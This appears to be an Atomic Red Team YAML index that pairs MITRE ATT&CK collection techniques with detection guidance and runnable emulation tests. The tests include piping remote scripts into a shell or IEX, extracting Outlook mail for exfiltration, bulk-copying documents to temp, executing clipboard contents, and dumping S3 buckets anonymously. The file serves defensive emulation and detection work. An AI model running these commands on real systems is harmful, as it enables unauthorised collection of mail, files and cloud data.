x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1074.001 url: https://attack.mitre.org/techniques/T1074/001 - source_name: Prevailion DarkWatchman 2021 url: https://www.prevailion.com/darkwatchman-new-fileless-techniques/ description: 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.' x_mitre_deprecated: false revoked: false description: |- Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Data Staged: Local Data Staging' x_mitre_detection: |- Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Access' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1074.001 atomic_tests: - name: Stage data from Discovery.bat auto_generated_guid: 107706a5-6f9f-451a-adae-bab8c667829f description: | Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory. supported_platforms: - windows input_arguments: output_file: description: Location to save downloaded discovery.bat file type: path default: "$env:TEMP\\discovery.bat" executor: command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file} ' cleanup_command: 'Remove-Item -Force #{output_file} -ErrorAction Ignore ' name: powershell - name: Stage data from Discovery.sh auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066 description: 'Utilize curl to download discovery.sh and execute a basic information gathering shell script ' supported_platforms: - linux - macos input_arguments: output_file: description: Location to save downloaded discovery.bat file type: path default: "/tmp/T1074.001_discovery.log" dependency_executor_name: sh dependencies: - description: 'Check if curl is installed on the machine. ' prereq_command: 'if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi ' get_prereq_command: 'which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl ' executor: command: 'curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file} ' cleanup_command: 'rm #{output_file} ' name: sh - name: Zip a Folder with PowerShell for Staging in Temp auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a description: | Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory. supported_platforms: - windows input_arguments: output_file: description: Location to save zipped file or folder type: path default: "$env:TEMP\\Folder_to_zip.zip" input_file: description: Location of file or folder to zip type: path default: PathToAtomicsFolder\T1074.001\bin\Folder_to_zip executor: command: 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force ' cleanup_command: 'Remove-Item -Path #{output_file} -ErrorAction Ignore ' name: powershell T1114.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004 type: attack-pattern created: '2020-02-19T18:46:06.098Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1114.001 url: https://attack.mitre.org/techniques/T1114/001 - source_name: Outlook File Sizes url: https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/ description: N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020. - source_name: Microsoft Outlook Files url: https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790 description: Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020. modified: '2021-04-29T14:49:39.188Z' name: 'Email Collection: Local Email Collection' description: |- Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files. Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1114.001 atomic_tests: - name: Email Collection with PowerShell Get-Inbox auto_generated_guid: 3f1b5096-0139-4736-9b78-19bcb02bb1cb description: | Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration. Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file. Note: Outlook is required, but no email account necessary to produce artifacts. supported_platforms: - windows input_arguments: output_file: description: Output file path type: string default: "$env:TEMP\\mail.csv" file_path: description: File path for Get-Inbox.ps1 type: string default: PathToAtomicsFolder\T1114.001\src dependency_executor_name: powershell dependencies: - description: 'Get-Inbox.ps1 must be located at #{file_path} ' prereq_command: 'if (Test-Path "#{file_path}\Get-Inbox.ps1") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1" -OutFile "#{file_path}\Get-Inbox.ps1" ' executor: command: 'powershell -executionpolicy bypass -command "#{file_path}\Get-Inbox.ps1" -file #{output_file} ' cleanup_command: 'Remove-Item #{output_file} -Force -ErrorAction Ignore ' name: powershell T1119: technique: modified: '2024-01-02T13:35:57.680Z' name: Automated Collection description: "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - IaaS - SaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' - 'Script: Script Execution' x_mitre_system_requirements: - Permissions to access directories, files, and API endpoints that store information of interest. type: attack-pattern id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619 created: '2017-05-31T21:31:27.985Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1119 external_id: T1119 - source_name: Mandiant UNC3944 SMS Phishing 2023 description: Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024. url: https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1119 atomic_tests: - name: Automated Collection Command Prompt auto_generated_guid: cb379146-53f1-43e0-b884-7ce2c635ff5b description: | Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection to see what was collected. supported_platforms: - windows executor: command: | mkdir %temp%\T1119_command_prompt_collection >nul 2>&1 dir c: /b /s .docx | findstr /e .docx for /R c:\ %f in (*.docx) do copy /Y %f %temp%\T1119_command_prompt_collection cleanup_command: 'del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1 ' name: command_prompt - name: Automated Collection PowerShell auto_generated_guid: 634bd9b9-dc83-4229-b19f-7f83ba9ad313 description: | Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection to see what was collected. supported_platforms: - windows executor: command: | New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection} cleanup_command: 'Remove-Item $env:TEMP\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null ' name: powershell - name: Recon information for export with PowerShell auto_generated_guid: c3f6d794-50dd-482f-b640-0384fbb7db26 description: | collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected. supported_platforms: - windows executor: command: | Get-Service > $env:TEMP\T1119_1.txt Get-ChildItem Env: > $env:TEMP\T1119_2.txt Get-Process > $env:TEMP\T1119_3.txt cleanup_command: | Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore name: powershell - name: Recon information for export with Command Prompt auto_generated_guid: aa1180e2-f329-4e1e-8625-2472ec0bfaf3 description: | collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt to see what was collected. supported_platforms: - windows executor: command: | sc query type=service > %TEMP%\T1119_1.txt doskey /history > %TEMP%\T1119_2.txt wmic process list > %TEMP%\T1119_3.txt tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt cleanup_command: | del %TEMP%\T1119_1.txt >nul 2>&1 del %TEMP%\T1119_2.txt >nul 2>&1 del %TEMP%\T1119_3.txt >nul 2>&1 del %TEMP%\T1119_4.txt >nul 2>&1 name: command_prompt T1115: technique: modified: '2023-04-14T21:51:47.277Z' name: Clipboard Data description: "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_deprecated: false x_mitre_detection: Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f created: '2017-05-31T21:31:25.967Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1115 external_id: T1115 - source_name: CISA_AA21_200B description: 'CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.' url: https://www.cisa.gov/uscert/ncas/alerts/aa21-200b - source_name: mining_ruby_reversinglabs description: Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022. url: https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems - source_name: clip_win_server description: Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022. url: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip - source_name: MSDN Clipboard description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016. url: https://msdn.microsoft.com/en-us/library/ms649012 - source_name: Operating with EmPyre description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017. url: https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1115 atomic_tests: - name: Utilize Clipboard to store or execute commands from auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7 description: 'Add data to clipboard to copy off or execute commands from. ' supported_platforms: - windows executor: command: | dir | clip echo "T1115" > %temp%\T1115.txt clip < %temp%\T1115.txt cleanup_command: 'del %temp%\T1115.txt >nul 2>&1 ' name: command_prompt - name: Execute Commands from Clipboard using PowerShell auto_generated_guid: d6dc21af-bec9-4152-be86-326b6babd416 description: 'Utilize PowerShell to echo a command to clipboard and execute it ' supported_platforms: - windows executor: command: | echo Get-Process | clip Get-Clipboard | iex name: powershell - name: Execute commands from clipboard auto_generated_guid: 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff description: Echo a command to clipboard and execute it supported_platforms: - macos executor: command: |- echo ifconfig | pbcopy $(pbpaste) name: bash - name: Collect Clipboard Data via VBA auto_generated_guid: 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52 description: 'This module copies the data stored in the user''s clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt ' supported_platforms: - windows input_arguments: ms_product: description: Maldoc application Word type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA" IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard" cleanup_command: 'Remove-Item "$env:TEMP\atomic_T1115_clipboard_data.txt" -ErrorAction Ignore ' name: powershell - name: Add or copy content to clipboard with xClip auto_generated_guid: ee363e53-b083-4230-aff3-f8d955f2d5bb description: 'Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk. ' supported_platforms: - linux executor: command: | apt install xclip -y history | tail -n 30 | xclip -sel clip xclip -o > history.txt name: sh T1530: technique: modified: '2023-09-29T16:11:43.530Z' name: Data from Cloud Storage Object description: "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Netskope - Praetorian - AppOmni x_mitre_deprecated: false x_mitre_detection: Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - IaaS - SaaS - Google Workspace - Office 365 x_mitre_version: '2.1' x_mitre_data_sources: - 'Cloud Storage: Cloud Storage Access' type: attack-pattern id: attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7 created: '2019-08-30T18:07:27.741Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1530 external_id: T1530 - source_name: Amazon S3 Security, 2019 description: Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019. url: https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/ - source_name: Microsoft Azure Storage Security, 2019 description: Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide - source_name: Wired Magecart S3 Buckets, 2019 description: 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.' url: https://www.wired.com/story/magecart-amazon-cloud-hacks/ - source_name: Google Cloud Storage Best Practices, 2019 description: Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019. url: https://cloud.google.com/storage/docs/best-practices - source_name: HIPAA Journal S3 Breach, 2017 description: HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019. url: https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/ - source_name: Rclone-mega-extortion_05_2021 description: Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022. url: https://redcanary.com/blog/rclone-mega-extortion/ - source_name: Trend Micro S3 Exposed PII, 2017 description: Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019. url: https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1530 atomic_tests: - name: Azure - Enumerate Azure Blobs with MicroBurst auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590 description: "Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. \nSee https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ . \n" supported_platforms: - iaas:azure input_arguments: base: description: Azure blob keyword to enumerate (Example, storage account name) type: string default: secure output_file: description: File to output results to type: string default: "$env:temp\\T1530Test1.txt" wordlist: description: File path to keywords for search permutations type: string default: PathToAtomicsFolder\..\ExternalPayloads\permutations.txt dependency_executor_name: powershell dependencies: - description: 'The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1" - description: 'The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads. ' prereq_command: 'if (test-path "#{wordlist}"){exit 0} else {exit 1} ' get_prereq_command: 'invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}" ' executor: command: | import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1" Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}" cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue ' name: powershell - name: Azure - Scan for Anonymous Access to Azure Storage (Powershell) auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0 description: "Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file. \nThe corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information. \nSee https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service \ \n" supported_platforms: - iaas:azure input_arguments: base_name: description: Azure storage account name to test type: string default: T1530Test2 output_file: description: File to output results to type: string default: "$env:temp\\T1530Test2.txt" container_name: description: Container name to search for (optional) type: string default: blob_name: description: Blob name to search for (optional) type: string default: executor: command: | try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"} catch [system.net.webexception] {if($_.Exception.Response -ne $null) {$Response = $_.Exception.Response.GetResponseStream() $ReadResponse = New-Object System.IO.StreamReader($Response) $ReadResponse.BaseStream.Position = 0 $responseBody = $ReadResponse.ReadToEnd()} else {$responseBody = "The storage account could not be anonymously accessed."}} "Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append cleanup_command: 'remove-item #{output_file} -erroraction silentlycontinue ' name: powershell - name: AWS - Scan for Anonymous Access to S3 auto_generated_guid: 979356b9-b588-4e49-bba4-c35517c484f5 description: "Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. \n" supported_platforms: - iaas:aws input_arguments: s3_bucket_name: description: Name of the bucket type: string default: redatomic-test2 dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: | cat ~/.aws/credentials | grep "default" aws s3api create-bucket --bucket #{s3_bucket_name} aws s3api put-bucket-policy --bucket #{s3_bucket_name} --policy file://$PathToAtomicsFolder/T1530/src/policy.json touch /tmp/T1530.txt aws s3 cp /tmp/T1530.txt s3://#{s3_bucket_name} get_prereq_command: 'echo Please install the aws-cli and configure your AWS default profile using: aws configure ' executor: command: 'aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name} ' cleanup_command: "aws s3 rb s3://#{s3_bucket_name} --force \nrm -rf /tmp/#{s3_bucket_name}\n" name: sh elevation_required: false T1074.002: technique: x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0 type: attack-pattern created: '2020-03-13T21:14:58.206Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1074.002 url: https://attack.mitre.org/techniques/T1074/002 - source_name: Mandiant M-Trends 2020 url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. modified: '2022-04-25T14:00:00.188Z' name: Remote Data Staging description: |- Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: |- Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'File: File Access' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1005: technique: modified: '2023-05-09T14:00:00.188Z' name: Data from Local System description: | Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - William Cain - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. " x_mitre_domains: - enterprise-attack 